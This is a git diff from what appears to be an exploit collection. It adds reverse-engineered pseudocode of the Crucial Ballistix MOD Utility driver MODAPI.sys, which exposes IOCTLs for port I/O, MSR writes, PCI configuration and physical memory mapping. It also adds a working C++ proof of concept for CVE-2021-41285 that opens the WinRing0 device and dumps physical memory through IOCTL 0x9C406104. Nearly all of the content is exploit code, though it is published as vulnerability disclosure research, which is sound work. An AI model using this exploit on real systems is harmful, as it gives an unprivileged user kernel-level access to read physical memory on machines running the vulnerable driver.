diff --git a/windows/x64/kernel/crucial_Ballistix_MOD_Utility_v.2.0.2.5/Reverse Engineering/DispatchDeviceControl.cpp b/windows/x64/kernel/crucial_Ballistix_MOD_Utility_v.2.0.2.5/Reverse Engineering/DispatchDeviceControl.cpp new file mode 100644 index 0000000..727c764 --- /dev/null +++ b/windows/x64/kernel/crucial_Ballistix_MOD_Utility_v.2.0.2.5/Reverse Engineering/DispatchDeviceControl.cpp @@ -0,0 +1,212 @@ +__int64 __fastcall DispatchDeviceControl(__int64 a1, IRP *a2) +{ + unsigned int *p_Information; // rdi + _IO_STACK_LOCATION *CurrentStackLocation; // rdx + unsigned int status; // ebx + unsigned int IOCTL_Code; // eax + _IRP *v7; // rcx + unsigned int v8; // er8 + int v9; // edx + unsigned __int32 v10; // eax + unsigned int v11; // eax + CSHORT v12; // ax + unsigned __int8 v13; // al + unsigned int Options; // ebx + _IRP *v15; // r9 + _IRP *v16; // rcx + int v17; // edx + unsigned int Length; // ebp + ULONG *MasterIrp; // r9 + ULONG BusDataByOffset; // eax + int v21; // eax + + p_Information = (unsigned int *)&a2->IoStatus.Information; + CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation; + *(_QWORD *)p_Information = 0i64; + status = 0xC0000002; // STATUS_NOT_IMPLEMENTED + if (!CurrentStackLocation->MajorFunction) + { + if (dword_13110 == -1) + goto exit_ok; + v21 = dword_13110 + 1; + goto pre_exit_ok; + } + if (CurrentStackLocation->MajorFunction == 2) + { + if (dword_13110 == -1) + goto exit_ok; + v21 = dword_13110 - 1; + pre_exit_ok: + dword_13110 = v21; + goto exit_ok; + } + if (CurrentStackLocation->MajorFunction != 14) + goto exit; + IOCTL_Code = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart; + if (IOCTL_Code > 0x9C4060D4) + { + if (IOCTL_Code != 0x9C406104) + { + switch (IOCTL_Code) + { + case 0x9C406144: + Length = CurrentStackLocation->Parameters.Read.Length; + if (CurrentStackLocation->Parameters.Create.Options != 8) + goto invalid_parameter; + MasterIrp = (ULONG *)a2->AssociatedIrp.MasterIrp; + BusDataByOffset = HalGetBusDataByOffset( + PCIConfiguration, + (unsigned __int8)BYTE1(*MasterIrp), + (32 * (*MasterIrp & 7)) | ((unsigned __int8)*MasterIrp >> 3), + MasterIrp, + MasterIrp[1], + CurrentStackLocation->Parameters.Read.Length); + if (BusDataByOffset) + { + if (Length == 2 || BusDataByOffset != 2) + { + if (Length == BusDataByOffset) + { + *p_Information = Length; + goto exit_ok; + } + status = 0xE0000004; + } + else + { + status = 0xE0000002; + } + } + else + { + status = 0xE0000001; + } + *p_Information = 0; + break; + case 0x9C40A0C8: + case 0x9C40A0D8: + case 0x9C40A0DC: + case 0x9C40A0E0: + v16 = a2->AssociatedIrp.MasterIrp; + v17 = *(_DWORD *)&v16->Type; + switch (IOCTL_Code) + { + case 0x9C40A0D8: + __outbyte(v17, *((_BYTE *)&v16->Size + 2)); + goto exit_ok; + case 0x9C40A0DC: + __outword(v17, *(&v16->Size + 1)); + goto exit_ok; + case 0x9C40A0E0: + __outdword(v17, *(_DWORD *)(&v16->Size + 1)); + goto exit_ok; + } + goto invalid_parameter; + case 0x9C40A108: + goto pre_invalid_param; + case 0x9C40A148: + Options = CurrentStackLocation->Parameters.Create.Options; + if (Options < 8) + { + invalid_parameter: + status = 0xC000000D; // STATUS_INVALID_PARAMETER + goto exit; + } + v15 = a2->AssociatedIrp.MasterIrp; + *p_Information = 0; + status = Options - 8 != HalSetBusDataByOffset( + PCIConfiguration, + (unsigned __int8)BYTE1(*(_DWORD *)&v15->Type), + (32 * (*(_DWORD *)&v15->Type & 7)) | ((unsigned __int8)*(_DWORD *)&v15->Type >> 3), + &v15->MdlAddress, + *(_DWORD *)(&v15->Size + 1), + Options - 8) + ? 0xE0000003 + : 0; + break; + } + goto exit; + } + v11 = vuln_MmMapIoSpace( + (__int64)a2->AssociatedIrp.MasterIrp, + CurrentStackLocation->Parameters.Create.Options, + a2->AssociatedIrp.MasterIrp, + CurrentStackLocation->Parameters.Read.Length, + p_Information); + pre_exit: + status = v11; + goto exit; + } + switch (IOCTL_Code) + { + case 0x9C4060D4: + write_B_W_DW: + v7 = a2->AssociatedIrp.MasterIrp; + v8 = CurrentStackLocation->Parameters.Create.Options; + v9 = *(_DWORD *)&v7->Type; + switch (IOCTL_Code) + { + case 0x9C4060CC: + v13 = __inbyte(v9); + LOBYTE(v7->Type) = v13; + goto pre_exit2; + case 0x9C4060D0: + v12 = __inword(v9); + v7->Type = v12; + goto pre_exit2; + case 0x9C4060D4: + v10 = __indword(v9); + *(_DWORD *)&v7->Type = v10; + pre_exit2: + *p_Information = v8; + goto exit_ok; + } + pre_invalid_param: + *p_Information = 0; + goto invalid_parameter; + case 0x9C402000: + *(_DWORD *)a2->AssociatedIrp.MasterIrp = 16908293; + goto LABEL1; + case 0x9C402004: + *(_DWORD *)a2->AssociatedIrp.MasterIrp = dword_13110; + LABEL1: + *(_QWORD *)p_Information = 4i64; + exit_ok: + status = 0; + break; + case 0x9C402084: + v11 = readmsr( + (unsigned int *)a2->AssociatedIrp.MasterIrp, + CurrentStackLocation->Parameters.Create.Options, + (unsigned __int64 *)a2->AssociatedIrp.MasterIrp, + CurrentStackLocation->Parameters.Read.Length, + p_Information); + goto pre_exit; + case 0x9C402088: + v11 = writemsr( + (__int64)a2->AssociatedIrp.MasterIrp, + CurrentStackLocation->Parameters.Create.Options, + (__int64)a2->AssociatedIrp.MasterIrp, + CurrentStackLocation->Parameters.Read.Length, + p_Information); + goto pre_exit; + case 0x9C40208C: + v11 = readpmc( + (unsigned int *)a2->AssociatedIrp.MasterIrp, + CurrentStackLocation->Parameters.Create.Options, + (unsigned __int64 *)a2->AssociatedIrp.MasterIrp, + CurrentStackLocation->Parameters.Read.Length, + p_Information); + goto pre_exit; + case 0x9C402090: + __halt(); + case 0x9C4060C4: + case 0x9C4060CC: + case 0x9C4060D0: + goto write_B_W_DW; + } +exit: + a2->IoStatus.Status = status; + IofCompleteRequest(a2, 0); + return status; +} \ No newline at end of file diff --git a/windows/x64/kernel/crucial_Ballistix_MOD_Utility_v.2.0.2.5/Reverse Engineering/MODAPI.sys b/windows/x64/kernel/crucial_Ballistix_MOD_Utility_v.2.0.2.5/Reverse Engineering/MODAPI.sys new file mode 100644 index 0000000..197c255 Binary files /dev/null and b/windows/x64/kernel/crucial_Ballistix_MOD_Utility_v.2.0.2.5/Reverse Engineering/MODAPI.sys differ diff --git a/windows/x64/kernel/crucial_Ballistix_MOD_Utility_v.2.0.2.5/Reverse Engineering/MODAPI.sys.i64 b/windows/x64/kernel/crucial_Ballistix_MOD_Utility_v.2.0.2.5/Reverse Engineering/MODAPI.sys.i64 new file mode 100644 index 0000000..16a0988 Binary files /dev/null and b/windows/x64/kernel/crucial_Ballistix_MOD_Utility_v.2.0.2.5/Reverse Engineering/MODAPI.sys.i64 differ diff --git a/windows/x64/kernel/crucial_Ballistix_MOD_Utility_v.2.0.2.5/ballistix-ddr4-mod-utility.zip b/windows/x64/kernel/crucial_Ballistix_MOD_Utility_v.2.0.2.5/ballistix-ddr4-mod-utility.zip new file mode 100644 index 0000000..0838fe4 Binary files /dev/null and b/windows/x64/kernel/crucial_Ballistix_MOD_Utility_v.2.0.2.5/ballistix-ddr4-mod-utility.zip differ diff --git a/windows/x64/kernel/crucial_Ballistix_MOD_Utility_v.2.0.2.5/crucial_Ballistix_MOD_Utility_v.2.0.2.5.cpp b/windows/x64/kernel/crucial_Ballistix_MOD_Utility_v.2.0.2.5/crucial_Ballistix_MOD_Utility_v.2.0.2.5.cpp new file mode 100644 index 0000000..39be938 --- /dev/null +++ b/windows/x64/kernel/crucial_Ballistix_MOD_Utility_v.2.0.2.5/crucial_Ballistix_MOD_Utility_v.2.0.2.5.cpp @@ -0,0 +1,108 @@ +/* +Exploit title: Ballistix MOD Utility v.<= 2.0.2.5 (MODAPI.sys) - Mapping physical memory into virtual address space +Exploit Authors: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com +Grade: PoC +CVE: CVE-2021-41285 +Date: 15/09/2021 +Version: v.2.0.2.5 +Tested on: Windows 10 Pro x64 v.1903 Build 18362.30 +Category: local exploit +Platform: windows +*/ + +#include +#include +#include + +using namespace std; + +int main() +{ + DWORD PhysicalMemAddr = 0xE0000; // Physical memory address to read from, change accordingly (max 0x8FFFFFFF) + DWORD dwDataSizeToRead = 0x4; // Size of data to read (in chunks), in bytes (1, 2, 4); 1 = movsb (BYTE), 2 = movsw (WORD), 4 = movsd (DWORD) + DWORD dwAmountOfDataToRead = 8; // Amount of data (in chunks) to read + DWORD dwBytesReturned = 0; // number of bytes returned from the DeviceIoControl request + DWORD dwIOCTL = 0x9C406104; // IOCTL reaching MmMapIoSpace function call + + // open a handle to the device exposed by the driver - symlink is \\.\\WinRing0_1_2_0 + HANDLE hDevice = ::CreateFileW( + L"\\\\.\\WinRing0_1_2_0", + GENERIC_READ | GENERIC_WRITE, + NULL, + nullptr, + OPEN_EXISTING, + NULL, + NULL); + + if (hDevice == INVALID_HANDLE_VALUE) + { + cout << "[!] Couldn't open handle to MODAPI.sys driver. Error code: " << ::GetLastError() << endl; + return -1; + } + cout << "[+] Opened a handle to MODAPI.sys driver!" << endl; + + cout << "[-] Allocating buffers' memory area!" << endl; + // allocate memory for the DeviceIoControl lpInBuffer & lpOutBuffer buffers + LPVOID lpInBuffer = VirtualAlloc((LPVOID)0x41000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + LPVOID lpOutBuffer = VirtualAlloc((LPVOID)0x42000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (lpInBuffer == NULL || lpOutBuffer == NULL) + { + cout << "[!] Unable to allocate buffers' memory area. Error code: " << ::GetLastError() << endl; + return -1; + } + + cout << "[-] Populating lpInBuffer" << endl; + memmove(lpInBuffer, &PhysicalMemAddr, sizeof(DWORD)); + memmove((BYTE*)lpInBuffer + 0x8, &dwDataSizeToRead, sizeof(DWORD)); + memmove((BYTE*)lpInBuffer + 0xC, &dwAmountOfDataToRead, sizeof(DWORD)); + + cout << "[-] Sending IOCTL 0x" << hex << uppercase << setw(8) << setfill('0') << dwIOCTL << endl; + bool success = DeviceIoControl( + hDevice, + dwIOCTL, + lpInBuffer, // expressed in Bytes; MUST be 0x10 + 0x10, + lpOutBuffer, // MUST be GREATER than chunk size (dwDataSizeToRead * dwAmountOfDataToRead) + 0x40, + &dwBytesReturned, + nullptr); + if (!success) + { + cout << "[!] Couldn't send IOCTL 0x" << hex << uppercase << setw(8) << setfill('0') << dwIOCTL + << " Error code: " << ::GetLastError() << endl; + return -1; + } + + cout << endl << "[+] Dumping " << dec << (dwDataSizeToRead * dwAmountOfDataToRead) + << " bytes of data from 0x" << hex << uppercase << setw(16) << setfill('0') << PhysicalMemAddr << endl; + cout << string(70, '-') << endl; + // pretty print memory dump + for (int nSize = 0; nSize <= 0x32; nSize += 0x10) + { + for (int i = 0; i <= 0xF; i++) + { + // output byte + printf("%02X ", *((BYTE*)lpOutBuffer + i + nSize)); + } + cout << " "; + for (int i = 0; i <= 0xF; i++) + { + CHAR cChar = *((BYTE*)lpOutBuffer + i + nSize); + // if byte is in printable range, then print it's ASCII representation + if (cChar >= 0x20 && cChar <= 0x7E) + { + printf("%c", *((BYTE*)lpOutBuffer + i + nSize)); + } + else + { + cout << "."; + } + } + cout << endl; + } + cout << string(70, '-') << endl; + // housekeeping + VirtualFree((LPVOID)0x41000000, 0, MEM_RELEASE); + VirtualFree((LPVOID)0x42000000, 0, MEM_RELEASE); + ExitProcess(0); +}